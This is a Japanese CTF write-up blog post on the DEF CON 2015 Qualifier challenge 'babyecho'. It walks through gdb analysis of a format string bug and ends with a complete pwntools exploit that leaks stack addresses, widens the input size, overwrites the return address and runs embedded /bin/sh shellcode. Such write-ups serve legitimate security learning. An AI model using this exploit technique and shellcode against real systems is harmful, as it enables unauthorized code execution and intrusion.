ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

DEF CON CTF Qualifier 2015 babyecho

echoだし、自分の打った文字が返ってくるのかな?と思って実行させてみた。すると・・・

shima@chino:~/workspace/pwn_list_baby/babyecho$ ./babyecho
Reading 13 bytes
AAAAAAAAAAAAAAAAAAAAAAAAAAAa
AAAAAAAAAAAA
Reading 13 bytes
AAAAAAAAAAAA
Reading 13 bytes
Aa
Reading 13 bytes

入力した文字は13byteまでしか受け付けてないみたい。しかし、打った文字分だけ出力しているのでどこかのタイミングで区切っているのかもしれない・・・次はFSB(Format String Bug)があるか試してみよう

shima@chino:~/workspace/pwn_list_baby/babyecho$ ./babyecho
Reading 13 bytes
%08x
0000000d
Reading 13 bytes

あっ・・・できた(安堵)今回はこれを利用しながら、うまく攻撃すればいいのかな?とりあえず、デバッグしてみよう!!

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

あっ、なんでもありなんですね。
方針としては、まず何とかして入力できる文字を増やしたい。(少なすぎィ!)stack上のどこかにsizeを格納してるはずなので、そこを変更したい。変更する方法としてはFSBを使うのがいいんだけど、さすがに入力文字が足りないかもしれないので、デバッグしてから考える。
そしてshellの起動には、今回はshellcode入れる感じでいいのかな?使ってる関数を調べてみたけど、ぐちゃぐちゃだったため、ライブラリを使って何かをするといった問題ではなさそう。普通にreturn addressを書き換える感じなのかな?
もしそうだとしたら、無限ループしてるから条件を抜けるような設定をしないといけないな。ずっとループしてたし
あとは呼び出してる関数をshellcodeを書き換えるとかかな。・・・ネックになるのは関数をどう特定するかなんだけど。 うむ、それを含めてデバッグしてみるか。最初に気になったのはこれ!

-------------------------------------code-------------------------------------]
   0x8048faf:   call   0x806cb50
   0x8048fb4:   jmp    0x804902c
   0x8048fb6:   mov    eax,0x3ff
=> 0x8048fbb:   cmp    DWORD PTR [esp+0x10],0x3ff
   0x8048fc3:   cmovle eax,DWORD PTR [esp+0x10]
   0x8048fc8:   mov    DWORD PTR [esp+0x10],eax
   0x8048fcc:   mov    eax,DWORD PTR [esp+0x10]
   0x8048fd0:   mov    DWORD PTR [esp+0x4],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcc90 --> 0x14 
0004| 0xffffcc94 --> 0xd ('\r')
0008| 0xffffcc98 --> 0xa ('\n')
0012| 0xffffcc9c --> 0x0 
0016| 0xffffcca0 --> 0xd ('\r')
0020| 0xffffcca4 --> 0xffffccac ("AAAA")
0024| 0xffffcca8 --> 0x0 
0028| 0xffffccac ("AAAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 7, 0x08048fbb in ?? ()

どうやら、sizeと3FF(1023)と比べてあとに1023以下であれば0xd(13)をsize入れるような動きをしていた。そして、1023よりおおきかったらsizeに1023を入れるような動きをしていた。つまり、FSBで大きさを1023より大きくしてあげればいいのかな?
しかし、ここで問題になるのが、stackのアドレスである。まず、最初のFSBでstackのアドレスをleakさせてから、次のFSBでsizeの大きさを変える。
とりあえず、printfされる前のstackの状況を見てみよう!

gdb-peda$ x/30wx $esp
0xffffcc90:    0xffffccac 0x0000000d 0x0000000a 0x00000000
0xffffcca0:    0x0000000d 0xffffccac 0x00000000 0x41414141

indexが5のときにどうやら入力したbufferのaddressが入っているらしい。ここからleakして様々な値をoffsetから求めることができそう。
そう思ってデバッグをしてたら、ほかにも発見した。

[-------------------------------------code-------------------------------------]
   0x804901b:   call   0x804fde0
   0x8049020:   mov    DWORD PTR [esp],0x14
   0x8049027:   call   0x806cb50
=> 0x804902c:   cmp    DWORD PTR [esp+0x18],0x0
   0x8049031:   je     0x8048fb6
   0x8049033:   mov    eax,0x0
   0x8049038:   mov    edx,DWORD PTR [esp+0x41c]
   0x804903f:   xor    edx,DWORD PTR gs:0x14
[------------------------------------stack-------------------------------------]
0000| 0xffffcc90 --> 0x14 
0004| 0xffffcc94 --> 0x8048eb1 (push   ebp)
0008| 0xffffcc98 --> 0x2 
0012| 0xffffcc9c --> 0x0 
0016| 0xffffcca0 --> 0xd ('\r')
0020| 0xffffcca4 --> 0xffffccac --> 0x0 
0024| 0xffffcca8 --> 0x0 
0028| 0xffffccac --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 8, 0x0804902c in ?? ()

最初は気づかなかったが、どうやら無限ループを抜ける処理らしい。stackのある場所(esp+0x18)の中身が0であれば無限ループするようになっていた。そして、これが0でなかったらreturnするようになっていた。returnするときにstackが壊れているかどうか見ていた。つまりstack overflowはできないような仕組みになっている。
これからをまとめると以下のようにprintf直前のstackの中身はなっていた。

        esp+0x10 user input size
index 5 esp+0x14 user input address
        esp+0x18 無限ループflag
index 7 esp+0x1c user input values
        esp+0x42c return address

これからを使ってコードを書いてみよう!
コードべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"

else:
        conn = process('./babyecho')
        print "[+] connect to local\n"

shellcode ="\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" 
index = 7
print len(shellcode)

#first
conn.send("%5$08x\n")
conn.recvuntil("\n")
buffer_addr = int(conn.recvuntil("\n"),16)# esp + 0x1c
size_addr = buffer_addr - 0xc + 1         # esp + 0x10
flag_addr = buffer_addr - 4               # esp + 0x18
ret_addr = buffer_addr + 0x410            # esp + 0x42c

#second
payload = p32(size_addr)
payload += '%%%d$hhn' % (index)
payload += '\n'
conn.send(payload)
conn.recvuntil('Reading 1023 bytes\n')

#third
shellcode_addr = buffer_addr + 0xc

payload = p32(flag_addr)
payload += p32(ret_addr)
payload += p32(ret_addr+2)
payload += shellcode

fsb_ret2 = (u16(p32(shellcode_addr)[2:4]) - u16(p32(shellcode_addr)[0:2]) - 1) % 0x10000 + 1
fsb_ret1 = (u16(p32(shellcode_addr)[0:2]) - len(payload) - 1) % 0x10000 + 1

payload += '%%%d$hhn' % (index)
payload += '%%%dc%%%d$hn' % ( fsb_ret1, index + 1)
payload += '%%%dc%%%d$hn' % ( fsb_ret2, index + 2)
payload += '\n'
conn.send(payload)
conn.interactive()

まず最初のFSBでそれぞれのアドレスをleakさせる。二回目のFSBでsizeを変更する。
この二回目のFSBだが、FSBするときに書き換えるアドレス指定の4byte分すでに出力しているため、これを利用している
そして三回目のFSBで無限ループを抜ける処理をした後に、return addressをshellcodeのaddressに書き換える。ようなコードの書き方をしている。
無限ループのフラグは0以外なら何でも抜けるような処理をしているので適当な数字で書き換えてる・・・相変わらずソース汚い(確信)